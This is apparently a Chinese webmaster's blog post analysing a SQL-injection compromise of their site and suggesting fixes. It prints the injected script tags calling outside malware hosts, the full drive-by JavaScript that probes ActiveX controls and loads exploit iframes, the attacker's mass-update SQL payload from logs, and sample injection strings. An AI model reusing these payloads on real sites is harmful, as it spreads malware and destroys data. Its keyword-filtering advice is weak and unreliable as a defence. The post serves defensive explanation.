最近好多网站都受到SQL注入与解决方案
今天发现自己的网站被SQL注入了 :(
首先,看到 页面包含了 <script src=http://s.see9.us/s.js></script>
还有,页面有大量的类似如下的内容
<script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr' width=50 border=0>
<script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr
你可以用记事本打开http://a188.ws/1.js查看其内容,(不推荐用IE打开,因为那样病毒就直接会下载到你的电脑里,用记事本看看其代码就可以了)
document.writeln("<base onmouseover=\"window.status=\'完毕 \';return true\">");
document.writeln("<SCRIPT language=javascript type=text\/javascript>");
document.writeln("var cookieString = document.cookie;");
document.writeln("var start = cookieString.indexOf(\"woshi0day=\");");
document.writeln("if (start != -1)");
document.writeln("{}");
document.writeln("else");
document.writeln("{");
document.writeln("var expires = new Date();");
document.writeln("expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);");
document.writeln("document.cookie = \"woshi0day=0000;expires=\" + expires.toGMTString();");
document.writeln("document.write(\"<iframe src=\/\/ii.jtren.net\/cc\/p139.htm?18 width=10 height=0><\/iframe>\");");
document.writeln("}<\/SCRIPT>");
document.writeln("<script language=\"javascript\" src=\"http:\/\/count49.51yes.com\/click.aspx?id=493330621&logo=1\"><\/script>");
在上面代码里可以看到使用了iframe,iframe指向的地址为 http://jj.jtren.net/cc/p139.htm 用记事本打开看看内容吧
<script language="javaScript">
var cook = "silentwm";
function setCookie(name, value, expire)
{
window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}
function getCookie(Name)
{
var search = Name + "=";
if (window.document.cookie.length > 0)
{
offset = window.document.cookie.indexOf(search);
if (offset != -1)
{
offset += search.length;
end = window.document.cookie.indexOf(";", offset)
if (end == -1)
end = window.document.cookie.length;
return unescape(window.document.cookie.substring(offset, end));
}
}
return null;
}
function register(name)
{
var today = new Date();
var expires = new Date();
expires.setTime(today.getTime() + 1000*60*60*24);
setCookie(cook, name, expires);
}
function openWM()
{
var c = getCookie(cook);
if (c != null)
{
return;
}
register(cook);
window.defaultStatus="完成";
try{ var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<iframe width=50 height=0 src=http://ii.jtren.net/14.htm></iframe>")}
else
{
try{ var j;
var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
catch(j){};
finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real.htm></iframe>')}
else
{
document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real11.htm></iframe>')}}}
try{ var g;
var glworld=new ActiveXObject("GLAVATAR.GLAvatarCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write('<iframe style=display:none src=http://ii.jtren.net/lz.htm></iframe>')}}
try{ var h;
var storm=new ActiveXObject("MPS.StormPlayer.1");}
catch(h){};
finally{if(h!="[object Error]"){
document.write('<iframe style=display:none src=http://ii.jtren.net/bfyy.htm></iframe>')}}
try{ var f;
var thunder=new ActiveXObject("DPClient.Vod");}
catch(f){};
finally{ if(f!="[object Error]"){
document.write('<iframe width=50 height=0 src=xl.htm></iframe>')}}
}}
}
openWM();
</script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1862269.js"></script>
通过代码可以看到,这里使用了这是一个RealPlayer(IERPCtl.IERPCtl.1)漏洞,属于蠕虫病毒变异种 目前有Worm.Win32.Otwycal.a Worm.Win32.Otwycal.b Worm.Win32.Otwycal.c 3类变种
一但感染了这个病毒,电脑里面所有扩展名为*.EXE的所以程序都会被这个病毒破坏,中毒现象:运行程序提示程序错误
2.原因
上面说的是用户打开你的网站时,你的电脑可能中毒病毒,相信很多站长自己是不愿意放病毒代码的,出现这个原因是网站漏洞,具体的说是该病毒攻击者利用SQL技术,进行注入,下面是SQL注入的简单介绍
下面是一个典型的aspx页面显示的信息
http://www.19cn.com/showdetail.asp?id=49
但是攻击者可以进行注入,事实上上面代码很容易猜测出你的页面执行的SQL语句,例如可能为
string id=Request.QueryString["id"];
string sql="select * from table where id="+id;
但是上面的代码及其脆弱,例如访问者把你的地址改成
http://www.19cn.com/showdetail.asp?id=49 and 1=1
页面执行正常。
http://www.19cn.com/showdetail.asp?id=49 and 1=2
则页面执行错误,如果你的网站显示错误信息,攻击者很容易看到错误原因。
更为严重的是,攻击者可以编写更多了SQL语句,例如
http://www.19cn.com/showdetail.asp?id=49 ;delete from table
那么你代码里最终拼凑的SQL为
string sql="select * from table where id=49 ;delete from table
在SQL里分号是语句指向的结束,上面的SQL语句将直接删除table里的所有数据。
解决方法
我们建议你使用存储过程,因为存储过程会进行类别判断,例如上面代码写成存储过程是,类似如下
SqlParameter p=new SqlParameter("id",Int32);
在这里,当用户再次输入
http://www.19cn.com/showdetail.asp?id=49 ;delete from table
网址时,由于系统将对代码进行转换(即吧id为 49;delete from table)转化为int类型,此时转换失败,所以可以防止别人攻击,而且不影响访问。
对于整形,你也可以使用如下简单代码
try
{
int.Parse(Request.QueryString["id"]);
}
catch
{
Response.End();
}
在这里,当检查id值非法时,直接中止页面运行也是可以很好解决的。
上面介绍的是对int类型的解决,相对于int类型,字符串要复杂的很多,例如在搜索时,可能的URL为
http://www.19cn.com/search.aspx?key=asp.net
那么你的sql语句可能为
string key=Request.QueryString["key"];
string sql="select * from table where keyword like '"+key+"'";
在这里如果攻击你的URL为
http://www.19cn.com/search.aspx?key=asp.net' ; delete from table--
那么构造出来的SQL语句就为
select * from table where keywork like 'asp.net'; delete from table --'
请注意,--的作用,它会让最后的'字符失效,所有上面代码仍然会删除你的数据
这里常用的解决方法大字有如下几个:
1)过滤SQL常用的语句,例如
string key=Request.QueryString["key"];
key=key.Lower();
key=key.Replace("select","");
key=key.Replace("update","");
key=key.Replace("delete","");
这样把select/update/delete等命令过滤掉,另外需要注意这个代码
key=key.Lower();
也就是把请求的代码都转换为小写,因为攻击者可能故意把select 写成 SeleCT等,那样可能过滤不掉
2)过滤 “’, --”符号等
3)使用存储过程,这样即使SQL包含注入,到存储过程里也失效,这也是为什么建议大家使用存储过曾的原因
下面是你网站收到公交时,攻击者的访问代码
http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--
http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1 218.3.207.119 - 500 0 209 281
http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 218.3.207.119 - 500 0 216 281
你可以反编码就可以知道攻击者是如何攻击你的,例如 上面的 20%代表空格等